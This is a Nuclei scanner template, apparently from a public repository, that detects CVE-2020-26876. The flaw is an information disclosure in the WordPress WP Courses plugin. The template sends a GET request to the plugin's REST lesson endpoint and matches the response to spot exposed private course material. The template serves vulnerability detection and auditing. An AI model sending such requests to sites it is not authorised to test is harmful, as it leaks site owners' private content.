nuclei-templates/cves/2020/CVE-2020-26876.yaml

42 lines
1.1 KiB
YAML

id: CVE-2020-26876
info:
name: WordPress WP Courses Plugin Information Disclosure
author: dwisiswant0
severity: high
description: WordPress WP Courses Plugin < 2.0.29 contains a critical information disclosure which exposes private course videos and materials.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2020-26876
- https://www.exploit-db.com/exploits/48910
- https://www.redtimmy.com/critical-information-disclosure-on-wp-courses-plugin-exposes-private-course-videos-and-materials/
classification:
cve-id: CVE-2020-26876
tags: wordpress,plugin
requests:
- method: GET
path:
- "{{BaseURL}}/wp-json/wp/v2/lesson/1"
matchers-condition: and
matchers:
- type: regex
regex:
- "rest_post_invalid_id"
- "\"(guid|title|content|excerpt)\":{\"rendered\":"
condition: or
part: body
- type: word
words:
- "application/json"
part: header
- type: status
status:
- 200
- 404
condition: or
# Enhanced by mp on 2022/03/21